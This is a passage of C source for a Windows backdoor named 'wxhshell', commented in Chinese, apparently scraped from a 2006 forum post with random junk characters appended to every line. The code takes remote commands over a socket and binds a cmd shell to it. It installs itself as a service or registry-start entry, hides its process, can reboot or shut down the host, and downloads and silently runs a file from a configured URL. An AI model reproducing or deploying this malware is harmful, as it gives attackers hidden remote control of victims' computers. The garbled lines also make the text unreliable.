  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Xcf *$.;s  
  else FPC^-mD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *u)#yEJ)  
  } a<W.}0ZY  
  else { tupAU$h?!  
C&/_mm5  
    switch(cmd[0]) { \; FE@  
  hf1h*x^J  
  // 帮助 esk~\!d  
  case '?': { yBYZ?gc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bQ`|G(g-d  
    break; TOge!Q>a  
  } tVr^1Y  
  // 安装 \jCN ]A<  
  case 'i': {  JE=3V^k  
    if(Install()) UV#DN`%n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ][ V@t^  
    else C.(<IcSG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "IA :,j.#g  
    break; tm|YUat$]r  
    } :={rPj-nU  
  // 卸载 #!>QXiyR  
  case 'r': { ?#obNQ"u]  
    if(Uninstall()) OBEHUJ5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o @(.4+2m  
    else m.b}A'GT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); szw|`S>o  
    break; ph~ d%/^jI  
    } 3DX@ggE2  
  // 显示 wxhshell 所在路径 4SNDKFw  
  case 'p': { #DkdFy %`  
    char svExeFile[MAX_PATH]; s*9lYk0  
    strcpy(svExeFile,"\n\r"); T/nG\WZbZn  
      strcat(svExeFile,ExeFile); ^o-)y"GJ  
        send(wsh,svExeFile,strlen(svExeFile),0); D6vhW:t8?  
    break; w^=uq3X?  
    } M=t;t0  
  // 重启 :\cid]y3  
  case 'b': { ,1e\}^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -& T.rsp  
    if(Boot(REBOOT)) bqcwZ6r<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?Q0O\&uP  
    else { E(miQ   
    closesocket(wsh); #8CeTR23cw  
    ExitThread(0); 0 ~^l*  
    } D0*+7n3  
    break; &,%+rvo}  
    } +8Q5[lh2]j  
  // 关机 "Gc\"'^r  
  case 'd': { DPBWw[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a2.@Zyz  
    if(Boot(SHUTDOWN)) m_C#fR /I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \L:+k `  
    else { Sh;Z\nj  
    closesocket(wsh); u_'XUJ32!  
    ExitThread(0); )tp;2rJ/  
    } 3\Tqs  
    break; $l/w.z  
    } D`hg+64}  
  // 获取shell 8\BYm|%aa  
  case 's': { _BPp=(|  
    CmdShell(wsh); ,wB)hp  
    closesocket(wsh); L 4Sa,ZL  
    ExitThread(0); @E%f AC  
    break; -Zfq:Kr  
  } `6FH@" |I  
  // 退出 f =kt0  
  case 'x': { [t+qYe8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P,*yuF|bk  
    CloseIt(wsh); 4#&w-W  
    break; N D1'XCN  
    } z:W|GDD1  
  // 离开 ,#8H9<O9t  
  case 'q': { .-?Txkwb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x#jJ 0T  
    closesocket(wsh); N/8_0]Gf  
    WSACleanup(); txFcV  
    exit(1); aFd87'^  
    break; D22jWm2  
        } 5-.{RU=  
  } VX,@Gp_'m  
  } Sp./*h\}  
"Ax#x  
  // 提示信息 p.RSH$]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wY{!gQ  
} 6>F1!Q  
  } miEf<<L#z  
(&oT6Ji  
  return; Hq0O!Zv  
} ey ?paT  
1( vcM  
// shell模块句柄 nV>=n,+s"  
int CmdShell(SOCKET sock) 0ra+MQBg  
{ RWdx) qj{  
STARTUPINFO si; ^Kj xQO6y3  
ZeroMemory(&si,sizeof(si)); :~LOw}N!aQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Po7oo9d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F ,h}HlU  
PROCESS_INFORMATION ProcessInfo; 2U rE>_  
char cmdline[]="cmd"; >e^8fpgSo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x>[f+Tc  
  return 0; l;vA"b=]  
} GEZ!z5";BQ  
P.'$L\  
// 自身启动模式 naiy] oY"  
int StartFromService(void) aB)G!Rm&  
{ @i>o+>V  
typedef struct )O$T; U  
{ NzC&ctPk  
  DWORD ExitStatus; w(UZmZb}  
  DWORD PebBaseAddress; szas(7kDS  
  DWORD AffinityMask; n~'cKy )m  
  DWORD BasePriority; $x;(C[  
  ULONG UniqueProcessId; &O|qx~(  
  ULONG InheritedFromUniqueProcessId; 1pZ[r M'}  
}   PROCESS_BASIC_INFORMATION; qd@Fb*  
Bt(U,nFB  
PROCNTQSIP NtQueryInformationProcess; (/gMtIw  
?X3uPj9if  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (F'?c1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6;p"xC-  
S)W(@R+@4  
  HANDLE             hProcess; cW?~]E'<  
  PROCESS_BASIC_INFORMATION pbi; Qo])A6$IU  
'$Fu3%ft  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :Nl.< 6+  
  if(NULL == hInst ) return 0; ,N@N4<C]  
BBHoD:l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); by* v($  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G ;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jOU1F1  
3 , nr*R!  
  if (!NtQueryInformationProcess) return 0; ]X<L~s_*  
cBDOA<]r,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); != u S  
  if(!hProcess) return 0; ^/"2s}+  
3TF'[(K=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KK41I 8Mw  
L ]QBh\  
  CloseHandle(hProcess); -14~f)%NQ*  
P/ 7aj:h~P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L^{wxOf&6E  
if(hProcess==NULL) return 0; {!37w[s~  
8Lh[>|~=  
HMODULE hMod; -< }#ImTN  
char procName[255]; jU_#-<'r  
unsigned long cbNeeded; L; 'C5#GN  
1j\wvPLr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =8 01nZJ  
HRW }Yl  
  CloseHandle(hProcess); @+(a{%~7y  
:AM_C^j~ D  
if(strstr(procName,"services")) return 1; // 以服务启动 $S2kc$'F  
GdtR  /1  
  return 0; // 注册表启动 _{48s8V  
} 8e}8@[h  
L0>w|LpRc  
// 主模块 nWsR;~pK  
int StartWxhshell(LPSTR lpCmdLine) Vho^a:Z9}W  
{ g33Y]\  
  SOCKET wsl; ;%Rp=&J  
BOOL val=TRUE; _T(MMc  
  int port=0; sT+\ z  
  struct sockaddr_in door; ?J's>q^X  
#u$ Z/,  
  if(wscfg.ws_autoins) Install(); TDY =!  
T[]kun  
port=atoi(lpCmdLine); m_,j)A%  
I oFtfb[  
if(port<=0) port=wscfg.ws_port; vC_O! 2E  
hnnPi  
  WSADATA data; brClYpp,h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xD4G(]d!  
{6 brVN.V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }I ^e:,{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H`Ld,E2ex&  
  door.sin_family = AF_INET; r:9H>4m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]-tAgNzl%  
  door.sin_port = htons(port); Cswa5 l`af  
@ )m9#F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jS'hs>Ot  
closesocket(wsl); FN295:Iuw  
return 1; P<s:dH"  
} (h>+ivf|  
(]*!`(_b  
  if(listen(wsl,2) == INVALID_SOCKET) { 2Wq/_:  
closesocket(wsl); u}BN)%`B  
return 1; HK!Vd_&9,  
} Y~uqKb;A  
  Wxhshell(wsl); v9+1[Y";  
  WSACleanup(); ~7"6Y ]  
~#V1Gunq  
return 0; ts~$'^K[-  
iMXK_O%  
} SM8m\c  
TCS^nBEE  
// 以NT服务方式启动 qD/FxR-!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a@U0s+V&a0  
{ v}-jls  
DWORD   status = 0; {GM8}M~D&  
  DWORD   specificError = 0xfffffff; lp%i%*EQ*  
+Y|HO[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *r]Mn~3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =OU]<%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XqK\'8]\Mw  
  serviceStatus.dwWin32ExitCode     = 0; t4CI+fqy  
  serviceStatus.dwServiceSpecificExitCode = 0; &4-rDR,  
  serviceStatus.dwCheckPoint       = 0; 7z4u?>pne*  
  serviceStatus.dwWaitHint       = 0; 6N]V.;0_5  
1[r;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {qkd63 X  
  if (hServiceStatusHandle==0) return; +jpC%o}C  
QW1d&Gb.(  
status = GetLastError(); b=j]tb,  
  if (status!=NO_ERROR) txW<r8  
{ .3*VkAs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m1(cN%DBd  
    serviceStatus.dwCheckPoint       = 0; NK0hT,_  
    serviceStatus.dwWaitHint       = 0; 8/* 6&#-  
    serviceStatus.dwWin32ExitCode     = status; [Q*aJLG  
    serviceStatus.dwServiceSpecificExitCode = specificError; HOY9{>E}z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lg!{?xM  
    return; Pw_[{LL  
  } Rooem dCM  
kVu-,OU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B)`^/^7  
  serviceStatus.dwCheckPoint       = 0; .4-I^W"1  
  serviceStatus.dwWaitHint       = 0; FI|@=l;_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KV$J*B Y  
} ViG4tb  
a,U@ !}K  
// 处理NT服务事件,比如:启动、停止 V`z2F'vT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H<6/i@ly  
{ ,0R2k `m!  
switch(fdwControl) M:OJL\0  
{ 9AROvq|#  
case SERVICE_CONTROL_STOP: CF k^(V"  
  serviceStatus.dwWin32ExitCode = 0; \XXS;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Fl^}tC  
  serviceStatus.dwCheckPoint   = 0; Y8yRQ zu  
  serviceStatus.dwWaitHint     = 0; !.ot&EbE  
  { 3e.v'ccK&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bs_"Nn?  
  } h7H#sL[^  
  return; 'of5v6:8  
case SERVICE_CONTROL_PAUSE: v|v^(P,o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \PB~ 6  
  break; 044*@a5f  
case SERVICE_CONTROL_CONTINUE: [ZP8l'?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zu Jl #3YP  
  break; (SlrV8;  
case SERVICE_CONTROL_INTERROGATE: gB?~!J?  
  break; ~CB6+t>  
}; @#%rTKD9F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kGZ_/"iuO  
} K$..#]\TM  
B R-(@  
// 标准应用程序主函数 )2 P4EEs[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R.EA5X|_  
{ )A4WK+yD$z  
zaVDe9B,7  
// 获取操作系统版本 7gV"pa  
OsIsNt=GetOsVer(); `[;b#.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6_wf $(im  
@lP<Mq~]  
  // 从命令行安装 .qioEqK8!y  
  if(strpbrk(lpCmdLine,"iI")) Install(); ReCmv/AE  
d&p]O  
  // 下载执行文件 !m#cneV  
if(wscfg.ws_downexe) { 'sL>U$(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $z+iB;x  
  WinExec(wscfg.ws_filenam,SW_HIDE); [z:bnS~yiD  
} $3! j1  
Aghcjy|j  
if(!OsIsNt) { 2b]'KiX  
// 如果时win9x,隐藏进程并且设置为注册表启动 q(Y<cJ?X  
HideProc(); 4C ;4"6  
StartWxhshell(lpCmdLine); _F *(" o  
} Yp`6305f  
else w 1E}F  
  if(StartFromService()) OKp(A  
  // 以服务方式启动 sM?bUg0w  
  StartServiceCtrlDispatcher(DispatchTable); 1a)NM#  
else {37DrSOa  
  // 普通方式启动  S< <xlW  
  StartWxhshell(lpCmdLine); |*N.SS  
OjCT*qyU<  
return 0; Y'n TyH  
}
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只看该作者 1 发表于: 2006-10-10
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